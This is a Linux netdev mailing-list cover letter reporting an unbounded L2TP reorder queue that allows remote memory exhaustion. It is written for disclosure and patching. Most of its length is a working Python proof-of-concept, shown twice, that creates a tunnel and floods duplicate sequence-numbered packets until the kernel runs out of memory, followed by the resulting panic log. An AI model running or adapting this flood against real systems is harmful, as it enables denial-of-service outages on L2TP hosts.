From: Ren Wei <weir@nebusec.ai>
To: netdev@vger.kernel.org
Cc: davem@davemloft.net, edumazet@google.com, kuba@kernel.org,
pabeni@redhat.com, horms@kernel.org, kees@kernel.org,
kuniyu@google.com, alice.kernel@fastmail.im,
michael.bommarito@gmail.com, mail@david-bauer.net,
jchapman@katalix.com, vega@nebusec.ai, caoruide123@gmail.com,
weir@nebusec.ai
Subject: [PATCH net 0/1] l2tp: bound the reorder queue
Date: Thu, 24 Sep 2026 08:32:56 +0800 [thread overview]
Message-ID: <cover.1790136447.git.caoruide123@gmail.com> (raw)
From: Ruide Cao <caoruide123@gmail.com>
Hi Linux kernel maintainers,
We found an issue in net/l2tp/l2tp_core.c, net/l2tp/l2tp_core.h.
With reordering enabled, l2tp_recv_data_seq() accepts every packet inside
the receive window and l2tp_recv_queue_skb() neither rejects duplicate Ns
values nor limits queue length. A peer can omit the currently expected
packet and send unlimited copies of a future sequence number; every copy is
inserted after a linear queue walk and dequeue remains blocked at the head.
Expiration is checked only when another packet invokes l2tp_recv_dequeue():
there is no timer to service expires. If the peer stops sending before
expiration, all queued skbs remain indefinitely. This permits remote,
non-socket-accounted memory exhaustion and quadratic softirq CPU
consumption.
Privilege model: after an L2TP data session with receive reordering is
present, a remote peer can trigger the unbounded reorder queue by omitting
the expected Ns and sending in-window future sequence numbers. Creating the
local tunnel/session via L2TP genetlink requires CAP_NET_ADMIN in the
owning network namespace; the reproducer below runs that setup as root in
QEMU for convenience. Queued skbs are not charged to a local victim socket.
Compatibility: l2tp receive reorder path only; no uAPI change.
Tested: PoC reproduces OOM with panic_on_oom in QEMU; crash evidence is
below. packetdrill is not used because the trigger depends on sustained
UDP/L2TP sequence flooding into the reorder queue rather than a fixed
packetdrill scripted exchange.
Reproducer:
#!/bin/sh
set -eu
MODE="${1:-oom}"
case "$MODE" in
observe|oom)
;;
*)
echo "usage: $0 [observe|oom]" >&2
exit 1
;;
esac
ip link set lo up
if [ "$MODE" = "oom" ] && [ "${PANIC_ON_OOM:-1}" = "1" ]; then
echo 2 > /proc/sys/vm/panic_on_oom
fi
export MODE
python3 - <<'PY'
import errno
import os
import socket
import struct
import sys
import time
NETLINK_GENERIC = 16
GENL_ID_CTRL = 16
NLM_F_REQUEST = 0x01
NLM_F_ACK = 0x04
NLMSG_NOOP = 1
NLMSG_ERROR = 2
NLMSG_DONE = 3
CTRL_CMD_GETFAMILY = 3
CTRL_ATTR_FAMILY_ID = 1
CTRL_ATTR_FAMILY_NAME = 2
L2TP_GENL_NAME = b"l2tp\x00"
L2TP_GENL_VERSION = 0x1
L2TP_CMD_TUNNEL_CREATE = 1
L2TP_CMD_TUNNEL_DELETE = 2
L2TP_CMD_TUNNEL_MODIFY = 3
L2TP_CMD_TUNNEL_GET = 4
L2TP_CMD_SESSION_CREATE = 5
L2TP_CMD_SESSION_DELETE = 6
L2TP_CMD_SESSION_MODIFY = 7
L2TP_ATTR_NONE = 0
L2TP_ATTR_PW_TYPE = 1
L2TP_ATTR_ENCAP_TYPE = 2
L2TP_ATTR_OFFSET = 3
L2TP_ATTR_DATA_SEQ = 4
L2TP_ATTR_L2SPEC_TYPE = 5
L2TP_ATTR_L2SPEC_LEN = 6
L2TP_ATTR_PROTO_VERSION = 7
L2TP_ATTR_IFNAME = 8
L2TP_ATTR_CONN_ID = 9
L2TP_ATTR_PEER_CONN_ID = 10
L2TP_ATTR_SESSION_ID = 11
L2TP_ATTR_PEER_SESSION_ID = 12
L2TP_ATTR_UDP_CSUM = 13
L2TP_ATTR_VLAN_ID = 14
L2TP_ATTR_COOKIE = 15
L2TP_ATTR_PEER_COOKIE = 16
L2TP_ATTR_DEBUG = 17
L2TP_ATTR_RECV_SEQ = 18
L2TP_ATTR_SEND_SEQ = 19
L2TP_ATTR_LNS_MODE = 20
L2TP_ATTR_USING_IPSEC = 21
L2TP_ATTR_RECV_TIMEOUT = 22
L2TP_ATTR_FD = 23
L2TP_ATTR_IP_SADDR = 24
L2TP_ATTR_IP_DADDR = 25
L2TP_ATTR_UDP_SPORT = 26
L2TP_ATTR_UDP_DPORT = 27
L2TP_PWTYPE_ETH = 0x0005
L2TP_L2SPECTYPE_DEFAULT = 1
L2TP_ENCAPTYPE_UDP = 0
L2TP_HDR_VER_3 = 3
L2TP_SLFLAG_S = 0x40000000
def nlattr(attr_type, payload):
length = 4 + len(payload)
pad = (4 - (length & 3)) & 3
return struct.pack("HH", length, attr_type) + payload + (b"\x00" * pad)
def parse_attrs(data):
attrs = {}
off = 0
while off + 4 <= len(data):
nla_len, nla_type = struct.unpack_from("HH", data, off)
if nla_len < 4 or off + nla_len > len(data):
break
attrs[nla_type] = data[off + 4: off + nla_len]
off += (nla_len + 3) & ~3
return attrs
class GenlSocket:
def __init__(self):
self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC)
self.sock.bind((0, 0))
self.seq = 0
def transact(self, nlmsg_type, cmd, attrs):
self.seq += 1
payload = struct.pack("BBH", cmd, L2TP_GENL_VERSION, 0) + b"".join(attrs)
hdr = struct.pack(
"IHHII",
16 + len(payload),
nlmsg_type,
NLM_F_REQUEST | NLM_F_ACK,
self.seq,
0,
)
self.sock.send(hdr + payload)
while True:
data = self.sock.recv(65535)
off = 0
while off + 16 <= len(data):
nl_len, nl_type, nl_flags, nl_seq, nl_pid = struct.unpack_from(
"IHHII", data, off
)
if nl_len < 16 or off + nl_len > len(data):
raise RuntimeError("malformed netlink response")
msg = data[off + 16: off + nl_len]
off += (nl_len + 3) & ~3
if nl_seq != self.seq:
continue
if nl_type == NLMSG_ERROR:
err = struct.unpack_from("i", msg, 0)[0]
if err:
raise OSError(-err, os.strerror(-err))
return b""
if nl_type in (NLMSG_DONE, NLMSG_NOOP):
return b""
if nl_type == nlmsg_type or nl_type == GENL_ID_CTRL:
return msg
def resolve_family(self, name):
attrs = [nlattr(CTRL_ATTR_FAMILY_NAME, name)]
resp = self.transact(GENL_ID_CTRL, CTRL_CMD_GETFAMILY, attrs)
attrs = parse_attrs(resp[4:])
if CTRL_ATTR_FAMILY_ID not in attrs:
raise RuntimeError("family id not found")
return struct.unpack("H", attrs[CTRL_ATTR_FAMILY_ID][:2])[0]
def u8_attr(attr_type, value):
return nlattr(attr_type, struct.pack("B", value))
def u16_attr(attr_type, value):
return nlattr(attr_type, struct.pack("H", value))
def u32_attr(attr_type, value):
return nlattr(attr_type, struct.pack("I", value))
def u64_attr(attr_type, value):
return nlattr(attr_type, struct.pack("Q", value))
def str_attr(attr_type, value):
return nlattr(attr_type, value.encode() + b"\x00")
def in4_attr(attr_type, addr):
return nlattr(attr_type, socket.inet_aton(addr))
def mem_available_kb():
with open("/proc/meminfo", "r", encoding="ascii") as f:
for line in f:
if line.startswith("MemAvailable:"):
return int(line.split()[1])
return -1
def build_packet(session_id, ns, frame_len):
if frame_len < 14:
raise ValueError("frame_len must be at least 14 bytes")
if frame_len > 65495:
raise ValueError("frame_len too large for UDP payload")
hdr = struct.pack("!HHI", L2TP_HDR_VER_3, 0, session_id)
l2spec = struct.pack("!I", L2TP_SLFLAG_S | (ns & 0x00FFFFFF))
eth = bytearray(frame_len)
eth[0:6] = b"\x02\x00\x00\x00\x00\x01"
eth[6:12] = b"\x02\x00\x00\x00\x00\x02"
eth[12:14] = b"\x08\x00"
for i in range(14, frame_len):
eth[i] = (i - 14) & 0xFF
return hdr + l2spec + eth
def send_flood(sock, packet, report_every, max_packets):
sent = 0
last = time.monotonic()
while True:
sock.send(packet)
sent += 1
if report_every and sent % report_every == 0:
now = time.monotonic()
mem = mem_available_kb()
rate = report_every / max(now - last, 1e-6)
print(
f"[+] sent={sent} mem_available_kb={mem} rate_pps={rate:.1f}",
flush=True,
)
last = now
if max_packets and sent >= max_packets:
return sent
def main():
mode = os.environ.get("MODE", "oom")
pid = os.getpid() & 0xFFFF
tunnel_id = int(os.environ.get("TUNNEL_ID", str(1000 + pid)))
peer_tunnel_id = int(os.environ.get("PEER_TUNNEL_ID", str(2000 + pid)))
session_id = int(os.environ.get("SESSION_ID", str(3000 + pid)))
peer_session_id = int(os.environ.get("PEER_SESSION_ID", str(4000 + pid)))
local_port = int(os.environ.get("LOCAL_PORT", str(10000 + (pid % 20000))))
peer_port = int(os.environ.get("PEER_PORT", str(local_port + 1)))
ifname = os.environ.get("IFNAME", f"l2p{pid}")
payload_len = int(os.environ.get("PAYLOAD_LEN", "60000"))
if mode == "observe":
timeout_ms = int(os.environ.get("REORDER_TIMEOUT_MS", "1000"))
observe_count = int(os.environ.get("OBSERVE_COUNT", "2000"))
report_every = int(os.environ.get("REPORT_EVERY", "500"))
max_packets = observe_count
else:
timeout_ms = int(os.environ.get("REORDER_TIMEOUT_MS", "300000"))
report_every = int(os.environ.get("REPORT_EVERY", "250"))
max_packets = int(os.environ.get("MAX_PACKETS", "0"))
nl = GenlSocket()
family_id = nl.resolve_family(L2TP_GENL_NAME)
session_delete = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_SESSION_ID, session_id),
]
tunnel_delete = [u32_attr(L2TP_ATTR_CONN_ID, tunnel_id)]
for cmd, attrs in (
(L2TP_CMD_SESSION_DELETE, session_delete),
(L2TP_CMD_TUNNEL_DELETE, tunnel_delete),
):
try:
nl.transact(family_id, cmd, attrs)
except OSError as e:
if e.errno not in (errno.ENODEV, errno.ENOENT):
raise
tunnel_create = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_PEER_CONN_ID, peer_tunnel_id),
u8_attr(L2TP_ATTR_PROTO_VERSION, 3),
u16_attr(L2TP_ATTR_ENCAP_TYPE, L2TP_ENCAPTYPE_UDP),
in4_attr(L2TP_ATTR_IP_SADDR, "127.0.0.1"),
in4_attr(L2TP_ATTR_IP_DADDR, "127.0.0.1"),
u16_attr(L2TP_ATTR_UDP_SPORT, local_port),
u16_attr(L2TP_ATTR_UDP_DPORT, peer_port),
]
nl.transact(family_id, L2TP_CMD_TUNNEL_CREATE, tunnel_create)
session_create = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_SESSION_ID, session_id),
u32_attr(L2TP_ATTR_PEER_SESSION_ID, peer_session_id),
u16_attr(L2TP_ATTR_PW_TYPE, L2TP_PWTYPE_ETH),
str_attr(L2TP_ATTR_IFNAME, ifname),
u8_attr(L2TP_ATTR_L2SPEC_TYPE, L2TP_L2SPECTYPE_DEFAULT),
u8_attr(L2TP_ATTR_RECV_SEQ, 1),
u64_attr(L2TP_ATTR_RECV_TIMEOUT, timeout_ms),
]
nl.transact(family_id, L2TP_CMD_SESSION_CREATE, session_create)
print(
f"[+] tunnel_id={tunnel_id} session_id={session_id} ifname={ifname} "
f"local_port={local_port} peer_port={peer_port} timeout_ms={timeout_ms}",
flush=True,
)
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sender.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sender.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8 << 20)
sender.bind(("127.0.0.1", peer_port))
sender.connect(("127.0.0.1", local_port))
sender.send(build_packet(session_id, 0, 64))
time.sleep(0.05)
dup_packet = build_packet(session_id, 2, payload_len)
before = mem_available_kb()
print(f"[+] mem_available_kb_before={before}", flush=True)
sent = send_flood(sender, dup_packet, report_every, max_packets)
after_flood = mem_available_kb()
print(f"[+] mem_available_kb_after_flood={after_flood}", flush=True)
if mode == "observe":
wait_s = max(timeout_ms / 1000.0 + 1.0, 2.0)
print(f"[+] waiting_without_packets={wait_s:.1f}s", flush=True)
time.sleep(wait_s)
after_idle = mem_available_kb()
print(f"[+] mem_available_kb_after_idle={after_idle}", flush=True)
sender.send(dup_packet)
time.sleep(0.5)
after_poke = mem_available_kb()
print(f"[+] mem_available_kb_after_poke={after_poke}", flush=True)
print(f"[+] observe_done sent={sent}", flush=True)
else:
print(f"[+] oom_mode_completed_without_panic sent={sent}", flush=True)
if __name__ == "__main__":
main()
PY
------BEGIN PoC------
#!/bin/sh
set -eu
MODE="${1:-oom}"
case "$MODE" in
observe|oom)
;;
*)
echo "usage: $0 [observe|oom]" >&2
exit 1
;;
esac
ip link set lo up
if [ "$MODE" = "oom" ] && [ "${PANIC_ON_OOM:-1}" = "1" ]; then
echo 2 > /proc/sys/vm/panic_on_oom
fi
export MODE
python3 - <<'PY'
import errno
import os
import socket
import struct
import sys
import time
NETLINK_GENERIC = 16
GENL_ID_CTRL = 16
NLM_F_REQUEST = 0x01
NLM_F_ACK = 0x04
NLMSG_NOOP = 1
NLMSG_ERROR = 2
NLMSG_DONE = 3
CTRL_CMD_GETFAMILY = 3
CTRL_ATTR_FAMILY_ID = 1
CTRL_ATTR_FAMILY_NAME = 2
L2TP_GENL_NAME = b"l2tp\x00"
L2TP_GENL_VERSION = 0x1
L2TP_CMD_TUNNEL_CREATE = 1
L2TP_CMD_TUNNEL_DELETE = 2
L2TP_CMD_TUNNEL_MODIFY = 3
L2TP_CMD_TUNNEL_GET = 4
L2TP_CMD_SESSION_CREATE = 5
L2TP_CMD_SESSION_DELETE = 6
L2TP_CMD_SESSION_MODIFY = 7
L2TP_ATTR_NONE = 0
L2TP_ATTR_PW_TYPE = 1
L2TP_ATTR_ENCAP_TYPE = 2
L2TP_ATTR_OFFSET = 3
L2TP_ATTR_DATA_SEQ = 4
L2TP_ATTR_L2SPEC_TYPE = 5
L2TP_ATTR_L2SPEC_LEN = 6
L2TP_ATTR_PROTO_VERSION = 7
L2TP_ATTR_IFNAME = 8
L2TP_ATTR_CONN_ID = 9
L2TP_ATTR_PEER_CONN_ID = 10
L2TP_ATTR_SESSION_ID = 11
L2TP_ATTR_PEER_SESSION_ID = 12
L2TP_ATTR_UDP_CSUM = 13
L2TP_ATTR_VLAN_ID = 14
L2TP_ATTR_COOKIE = 15
L2TP_ATTR_PEER_COOKIE = 16
L2TP_ATTR_DEBUG = 17
L2TP_ATTR_RECV_SEQ = 18
L2TP_ATTR_SEND_SEQ = 19
L2TP_ATTR_LNS_MODE = 20
L2TP_ATTR_USING_IPSEC = 21
L2TP_ATTR_RECV_TIMEOUT = 22
L2TP_ATTR_FD = 23
L2TP_ATTR_IP_SADDR = 24
L2TP_ATTR_IP_DADDR = 25
L2TP_ATTR_UDP_SPORT = 26
L2TP_ATTR_UDP_DPORT = 27
L2TP_PWTYPE_ETH = 0x0005
L2TP_L2SPECTYPE_DEFAULT = 1
L2TP_ENCAPTYPE_UDP = 0
L2TP_HDR_VER_3 = 3
L2TP_SLFLAG_S = 0x40000000
def nlattr(attr_type, payload):
length = 4 + len(payload)
pad = (4 - (length & 3)) & 3
return struct.pack("HH", length, attr_type) + payload + (b"\x00" * pad)
def parse_attrs(data):
attrs = {}
off = 0
while off + 4 <= len(data):
nla_len, nla_type = struct.unpack_from("HH", data, off)
if nla_len < 4 or off + nla_len > len(data):
break
attrs[nla_type] = data[off + 4: off + nla_len]
off += (nla_len + 3) & ~3
return attrs
class GenlSocket:
def __init__(self):
self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC)
self.sock.bind((0, 0))
self.seq = 0
def transact(self, nlmsg_type, cmd, attrs):
self.seq += 1
payload = struct.pack("BBH", cmd, L2TP_GENL_VERSION, 0) + b"".join(attrs)
hdr = struct.pack(
"IHHII",
16 + len(payload),
nlmsg_type,
NLM_F_REQUEST | NLM_F_ACK,
self.seq,
0,
)
self.sock.send(hdr + payload)
while True:
data = self.sock.recv(65535)
off = 0
while off + 16 <= len(data):
nl_len, nl_type, nl_flags, nl_seq, nl_pid = struct.unpack_from(
"IHHII", data, off
)
if nl_len < 16 or off + nl_len > len(data):
raise RuntimeError("malformed netlink response")
msg = data[off + 16: off + nl_len]
off += (nl_len + 3) & ~3
if nl_seq != self.seq:
continue
if nl_type == NLMSG_ERROR:
err = struct.unpack_from("i", msg, 0)[0]
if err:
raise OSError(-err, os.strerror(-err))
return b""
if nl_type in (NLMSG_DONE, NLMSG_NOOP):
return b""
if nl_type == nlmsg_type or nl_type == GENL_ID_CTRL:
return msg
def resolve_family(self, name):
attrs = [nlattr(CTRL_ATTR_FAMILY_NAME, name)]
resp = self.transact(GENL_ID_CTRL, CTRL_CMD_GETFAMILY, attrs)
attrs = parse_attrs(resp[4:])
if CTRL_ATTR_FAMILY_ID not in attrs:
raise RuntimeError("family id not found")
return struct.unpack("H", attrs[CTRL_ATTR_FAMILY_ID][:2])[0]
def u8_attr(attr_type, value):
return nlattr(attr_type, struct.pack("B", value))
def u16_attr(attr_type, value):
return nlattr(attr_type, struct.pack("H", value))
def u32_attr(attr_type, value):
return nlattr(attr_type, struct.pack("I", value))
def u64_attr(attr_type, value):
return nlattr(attr_type, struct.pack("Q", value))
def str_attr(attr_type, value):
return nlattr(attr_type, value.encode() + b"\x00")
def in4_attr(attr_type, addr):
return nlattr(attr_type, socket.inet_aton(addr))
def mem_available_kb():
with open("/proc/meminfo", "r", encoding="ascii") as f:
for line in f:
if line.startswith("MemAvailable:"):
return int(line.split()[1])
return -1
def build_packet(session_id, ns, frame_len):
if frame_len < 14:
raise ValueError("frame_len must be at least 14 bytes")
if frame_len > 65495:
raise ValueError("frame_len too large for UDP payload")
hdr = struct.pack("!HHI", L2TP_HDR_VER_3, 0, session_id)
l2spec = struct.pack("!I", L2TP_SLFLAG_S | (ns & 0x00FFFFFF))
eth = bytearray(frame_len)
eth[0:6] = b"\x02\x00\x00\x00\x00\x01"
eth[6:12] = b"\x02\x00\x00\x00\x00\x02"
eth[12:14] = b"\x08\x00"
for i in range(14, frame_len):
eth[i] = (i - 14) & 0xFF
return hdr + l2spec + eth
def send_flood(sock, packet, report_every, max_packets):
sent = 0
last = time.monotonic()
while True:
sock.send(packet)
sent += 1
if report_every and sent % report_every == 0:
now = time.monotonic()
mem = mem_available_kb()
rate = report_every / max(now - last, 1e-6)
print(
f"[+] sent={sent} mem_available_kb={mem} rate_pps={rate:.1f}",
flush=True,
)
last = now
if max_packets and sent >= max_packets:
return sent
def main():
mode = os.environ.get("MODE", "oom")
pid = os.getpid() & 0xFFFF
tunnel_id = int(os.environ.get("TUNNEL_ID", str(1000 + pid)))
peer_tunnel_id = int(os.environ.get("PEER_TUNNEL_ID", str(2000 + pid)))
session_id = int(os.environ.get("SESSION_ID", str(3000 + pid)))
peer_session_id = int(os.environ.get("PEER_SESSION_ID", str(4000 + pid)))
local_port = int(os.environ.get("LOCAL_PORT", str(10000 + (pid % 20000))))
peer_port = int(os.environ.get("PEER_PORT", str(local_port + 1)))
ifname = os.environ.get("IFNAME", f"l2p{pid}")
payload_len = int(os.environ.get("PAYLOAD_LEN", "60000"))
if mode == "observe":
timeout_ms = int(os.environ.get("REORDER_TIMEOUT_MS", "1000"))
observe_count = int(os.environ.get("OBSERVE_COUNT", "2000"))
report_every = int(os.environ.get("REPORT_EVERY", "500"))
max_packets = observe_count
else:
timeout_ms = int(os.environ.get("REORDER_TIMEOUT_MS", "300000"))
report_every = int(os.environ.get("REPORT_EVERY", "250"))
max_packets = int(os.environ.get("MAX_PACKETS", "0"))
nl = GenlSocket()
family_id = nl.resolve_family(L2TP_GENL_NAME)
session_delete = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_SESSION_ID, session_id),
]
tunnel_delete = [u32_attr(L2TP_ATTR_CONN_ID, tunnel_id)]
for cmd, attrs in (
(L2TP_CMD_SESSION_DELETE, session_delete),
(L2TP_CMD_TUNNEL_DELETE, tunnel_delete),
):
try:
nl.transact(family_id, cmd, attrs)
except OSError as e:
if e.errno not in (errno.ENODEV, errno.ENOENT):
raise
tunnel_create = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_PEER_CONN_ID, peer_tunnel_id),
u8_attr(L2TP_ATTR_PROTO_VERSION, 3),
u16_attr(L2TP_ATTR_ENCAP_TYPE, L2TP_ENCAPTYPE_UDP),
in4_attr(L2TP_ATTR_IP_SADDR, "127.0.0.1"),
in4_attr(L2TP_ATTR_IP_DADDR, "127.0.0.1"),
u16_attr(L2TP_ATTR_UDP_SPORT, local_port),
u16_attr(L2TP_ATTR_UDP_DPORT, peer_port),
]
nl.transact(family_id, L2TP_CMD_TUNNEL_CREATE, tunnel_create)
session_create = [
u32_attr(L2TP_ATTR_CONN_ID, tunnel_id),
u32_attr(L2TP_ATTR_SESSION_ID, session_id),
u32_attr(L2TP_ATTR_PEER_SESSION_ID, peer_session_id),
u16_attr(L2TP_ATTR_PW_TYPE, L2TP_PWTYPE_ETH),
str_attr(L2TP_ATTR_IFNAME, ifname),
u8_attr(L2TP_ATTR_L2SPEC_TYPE, L2TP_L2SPECTYPE_DEFAULT),
u8_attr(L2TP_ATTR_RECV_SEQ, 1),
u64_attr(L2TP_ATTR_RECV_TIMEOUT, timeout_ms),
]
nl.transact(family_id, L2TP_CMD_SESSION_CREATE, session_create)
print(
f"[+] tunnel_id={tunnel_id} session_id={session_id} ifname={ifname} "
f"local_port={local_port} peer_port={peer_port} timeout_ms={timeout_ms}",
flush=True,
)
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sender.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sender.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8 << 20)
sender.bind(("127.0.0.1", peer_port))
sender.connect(("127.0.0.1", local_port))
sender.send(build_packet(session_id, 0, 64))
time.sleep(0.05)
dup_packet = build_packet(session_id, 2, payload_len)
before = mem_available_kb()
print(f"[+] mem_available_kb_before={before}", flush=True)
sent = send_flood(sender, dup_packet, report_every, max_packets)
after_flood = mem_available_kb()
print(f"[+] mem_available_kb_after_flood={after_flood}", flush=True)
if mode == "observe":
wait_s = max(timeout_ms / 1000.0 + 1.0, 2.0)
print(f"[+] waiting_without_packets={wait_s:.1f}s", flush=True)
time.sleep(wait_s)
after_idle = mem_available_kb()
print(f"[+] mem_available_kb_after_idle={after_idle}", flush=True)
sender.send(dup_packet)
time.sleep(0.5)
after_poke = mem_available_kb()
print(f"[+] mem_available_kb_after_poke={after_poke}", flush=True)
print(f"[+] observe_done sent={sent}", flush=True)
else:
print(f"[+] oom_mode_completed_without_panic sent={sent}", flush=True)
if __name__ == "__main__":
main()
PY
------END PoC--------
----BEGIN crash log----
[ 317.147298][T10616] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 317.148195][T10616] CPU: 3 UID: 0 PID: 10616 Comm: python3 Not tainted 6.12.95 #2
[ 317.148753][T10616] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 317.149890][T10616] Call Trace:
[ 317.150119][T10616] <TASK>
[ 317.150313][T10616] panic+0x533/0x610
[ 317.150599][T10616] ? __pfx_panic+0x10/0x10
[ 317.150911][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.151282][T10616] ? lockdep_hardirqs_on+0x7b/0x110
[ 317.151626][T10616] ? _raw_spin_unlock_irqrestore+0x40/0x80
[ 317.152045][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.152410][T10616] ? rcu_is_watching+0x12/0xc0
[ 317.152737][T10616] out_of_memory+0x73c/0x1430
[ 317.153070][T10616] ? __alloc_pages_noprof+0xd53/0x26d0
[ 317.153444][T10616] ? __pfx_out_of_memory+0x10/0x10
[ 317.153788][T10616] ? lock_acquire+0x2f/0xb0
[ 317.154097][T10616] ? __alloc_pages_noprof+0xd53/0x26d0
[ 317.154472][T10616] __alloc_pages_noprof+0x1ecc/0x26d0
[ 317.154839][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.155263][T10616] ? find_held_lock+0x2d/0x110
[ 317.155579][T10616] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 317.155940][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.156325][T10616] ? __pfx_lock_release+0x10/0x10
[ 317.156670][T10616] ? __might_fault+0xb6/0x120
[ 317.157041][T10616] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 317.157420][T10616] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 317.157801][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.158185][T10616] ? __virt_addr_valid+0x1f3/0x3d0
[ 317.158520][T10616] ? __check_object_size+0x2eb/0x4f0
[ 317.158876][T10616] skb_page_frag_refill+0x1d0/0x300
[ 317.160172][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.160548][T10616] sk_page_frag_refill+0x52/0x2c0
[ 317.160913][T10616] __ip_append_data+0x94a/0x4150
[ 317.161268][T10616] ? __pfx_ip_generic_getfrag+0x10/0x10
[ 317.161688][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.162079][T10616] ? ip_dst_mtu_maybe_forward.constprop.0+0x29b/0x590
[ 317.162585][T10616] ? __pfx___ip_append_data+0x10/0x10
[ 317.162934][T10616] ? __pfx___lock_acquire+0x10/0x10
[ 317.163300][T10616] ip_make_skb+0x211/0x2d0
[ 317.163597][T10616] ? find_held_lock+0x2d/0x110
[ 317.163922][T10616] ? __pfx_ip_generic_getfrag+0x10/0x10
[ 317.164302][T10616] ? __pfx_ip_make_skb+0x10/0x10
[ 317.164617][T10616] ? ipv4_dst_check+0x164/0x2b0
[ 317.164959][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.165371][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.165744][T10616] ? udp_sendmsg+0x155b/0x2370
[ 317.166078][T10616] udp_sendmsg+0x155b/0x2370
[ 317.166391][T10616] ? __pfx_aa_label_sk_perm+0x10/0x10
[ 317.166746][T10616] ? __pfx_ip_generic_getfrag+0x10/0x10
[ 317.167147][T10616] ? __pfx_udp_sendmsg+0x10/0x10
[ 317.167477][T10616] ? hlock_class+0x4e/0x130
[ 317.167770][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.168202][T10616] ? __sys_sendto+0x32e/0x3a0
[ 317.168499][T10616] __sys_sendto+0x32e/0x3a0
[ 317.168797][T10616] ? __pfx___sys_sendto+0x10/0x10
[ 317.169198][T10616] ? __pfx_lock_release+0x10/0x10
[ 317.169571][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.169945][T10616] ? rcu_is_watching+0x12/0xc0
[ 317.170764][T10616] __x64_sys_sendto+0xe0/0x1c0
[ 317.171083][T10616] ? do_syscall_64+0x93/0x270
[ 317.171389][T10616] ? srso_alias_return_thunk+0x5/0xfbef5
[ 317.171803][T10616] ? lockdep_hardirqs_on+0x7b/0x110
[ 317.172154][T10616] do_syscall_64+0xc7/0x270
[ 317.172516][T10616] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 317.173593][T10616] RIP: 0033:0x7f5fabf45687
[ 317.173886][T10616] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 317.175212][T10616] RSP: 002b:00007ffe2aaccb60 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 317.175763][T10616] RAX: ffffffffffffffda RBX: 00007f5fabeb1780 RCX: 00007f5fabf45687
[ 317.176303][T10616] RDX: 000000000000ea6c RSI: 0000000034d07590 RDI: 0000000000000004
[ 317.176857][T10616] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 317.177380][T10616] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
[ 317.177895][T10616] R13: 0000000000000000 R14: 00000000006ff020 R15: 0000000000a83590
[ 317.178445][T10616] </TASK>
[ 317.178849][T10616] Kernel Offset: disabled
[ 317.179211][T10616] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Ruide Cao
Ruide Cao (1):
l2tp: bound the reorder queue
net/l2tp/l2tp_core.c | 57 +++++++++++++++++++++++++++++++++++++++++---
net/l2tp/l2tp_core.h | 2 ++
2 files changed, 56 insertions(+), 3 deletions(-)
base-commit: 24ef02f934eeb48830cff6b739abc3c62b1d107b
--
2.47.3
next reply other threads:[~2026-09-24 0:33 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-24 0:32 Ren Wei [this message]
2026-09-24 0:32 ` [PATCH net 1/1] l2tp: bound the reorder queue Ren Wei
2026-09-24 7:17 ` Eric Dumazet
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1790136447.git.caoruide123@gmail.com \
--to=weir@nebusec.ai \
--cc=alice.kernel@fastmail.im \
--cc=caoruide123@gmail.com \
--cc=davem@davemloft.net \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=jchapman@katalix.com \
--cc=kees@kernel.org \
--cc=kuba@kernel.org \
--cc=kuniyu@google.com \
--cc=mail@david-bauer.net \
--cc=michael.bommarito@gmail.com \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
